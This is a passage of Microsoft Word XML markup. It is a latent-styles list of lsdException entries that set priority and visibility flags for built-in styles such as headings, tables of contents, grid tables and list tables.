w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 9\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"index 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index 9\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 1\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 2\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 3\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 4\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 5\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 6\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 7\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 8\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toc 9\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footer\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"index heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"caption\" w:semiHidden=\"1\" w:uiPriority=\"35\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"table of figures\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"envelope address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"envelope return\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"footnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"line number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"page number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"endnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"endnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"table of authorities\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"macro\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"toa heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Bullet 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Number 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Title\" w:uiPriority=\"10\" w:qFormat=\"1\"/><w:lsdException w:name=\"Closing\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Default Paragraph Font\" w:semiHidden=\"1\" w:uiPriority=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"List Continue 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Message Header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Subtitle\" w:uiPriority=\"11\" w:qFormat=\"1\"/><w:lsdException w:name=\"Salutation\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Date\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text First Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text First Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Note Heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Body Text Indent 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Block Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Hyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"FollowedHyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Strong\" w:uiPriority=\"22\" w:qFormat=\"1\"/><w:lsdException w:name=\"Emphasis\" w:uiPriority=\"20\" w:qFormat=\"1\"/><w:lsdException w:name=\"Document Map\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Plain Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"E-mail Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Top of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Bottom of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal (Web)\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Acronym\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Cite\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Code\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Definition\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Keyboard\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Preformatted\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Sample\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Typewriter\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"HTML Variable\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Normal Table\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"annotation subject\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"No List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Outline List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Simple 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Classic 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Colorful 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Columns 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table List 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table 3D effects 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Contemporary\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Elegant\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Professional\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Subtle 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Subtle 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Web 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Balloon Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Table Grid\" w:uiPriority=\"39\"/><w:lsdException w:name=\"Table Theme\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"Placeholder Text\" w:semiHidden=\"1\"/><w:lsdException w:name=\"No Spacing\" w:uiPriority=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"Light Shading\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 1\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 1\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 1\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 1\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 1\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 1\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Revision\" w:semiHidden=\"1\"/><w:lsdException w:name=\"List Paragraph\" w:uiPriority=\"34\" w:qFormat=\"1\"/><w:lsdException w:name=\"Quote\" w:uiPriority=\"29\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Quote\" w:uiPriority=\"30\" w:qFormat=\"1\"/><w:lsdException w:name=\"Medium List 2 Accent 1\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 1\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 1\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 1\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 1\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 1\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 1\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 1\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 2\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 2\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 2\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 2\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 2\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 2\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 2\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 2\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 2\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 2\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 2\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 2\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 2\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 2\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 3\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 3\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 3\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 3\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 3\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 3\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 3\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 3\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 3\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 3\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 3\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 3\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 3\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 3\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 4\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 4\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 4\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 4\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 4\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 4\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 4\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 4\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 4\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 4\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 4\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 4\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 4\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 4\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 5\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 5\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 5\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 5\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 5\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 5\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 5\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 5\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 5\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 5\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 5\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 5\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 5\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 5\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Light Shading Accent 6\" w:uiPriority=\"60\"/><w:lsdException w:name=\"Light List Accent 6\" w:uiPriority=\"61\"/><w:lsdException w:name=\"Light Grid Accent 6\" w:uiPriority=\"62\"/><w:lsdException w:name=\"Medium Shading 1 Accent 6\" w:uiPriority=\"63\"/><w:lsdException w:name=\"Medium Shading 2 Accent 6\" w:uiPriority=\"64\"/><w:lsdException w:name=\"Medium List 1 Accent 6\" w:uiPriority=\"65\"/><w:lsdException w:name=\"Medium List 2 Accent 6\" w:uiPriority=\"66\"/><w:lsdException w:name=\"Medium Grid 1 Accent 6\" w:uiPriority=\"67\"/><w:lsdException w:name=\"Medium Grid 2 Accent 6\" w:uiPriority=\"68\"/><w:lsdException w:name=\"Medium Grid 3 Accent 6\" w:uiPriority=\"69\"/><w:lsdException w:name=\"Dark List Accent 6\" w:uiPriority=\"70\"/><w:lsdException w:name=\"Colorful Shading Accent 6\" w:uiPriority=\"71\"/><w:lsdException w:name=\"Colorful List Accent 6\" w:uiPriority=\"72\"/><w:lsdException w:name=\"Colorful Grid Accent 6\" w:uiPriority=\"73\"/><w:lsdException w:name=\"Subtle Emphasis\" w:uiPriority=\"19\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Emphasis\" w:uiPriority=\"21\" w:qFormat=\"1\"/><w:lsdException w:name=\"Subtle Reference\" w:uiPriority=\"31\" w:qFormat=\"1\"/><w:lsdException w:name=\"Intense Reference\" w:uiPriority=\"32\" w:qFormat=\"1\"/><w:lsdException w:name=\"Book Title\" w:uiPriority=\"33\" w:qFormat=\"1\"/><w:lsdException w:name=\"Bibliography\" w:semiHidden=\"1\" w:uiPriority=\"37\" w:unhideWhenUsed=\"1\"/><w:lsdException w:name=\"TOC Heading\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"Plain Table 1\" w:uiPriority=\"41\"/><w:lsdException w:name=\"Plain Table 2\" w:uiPriority=\"42\"/><w:lsdException w:name=\"Plain Table 3\" w:uiPriority=\"43\"/><w:lsdException w:name=\"Plain Table 4\" w:uiPriority=\"44\"/><w:lsdException w:name=\"Plain Table 5\" w:uiPriority=\"45\"/><w:lsdException w:name=\"Grid Table Light\" w:uiPriority=\"40\"/><w:lsdException w:name=\"Grid Table 1 Light\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 1\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 1\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 1\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 1\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 1\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 2\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 2\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 2\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 2\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 3\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 3\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 3\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 3\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 4\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 4\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 4\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 4\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 5\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 5\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 5\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 5\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 5\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 6\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 6\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 6\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 6\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 6\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 1\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 1\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 1\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 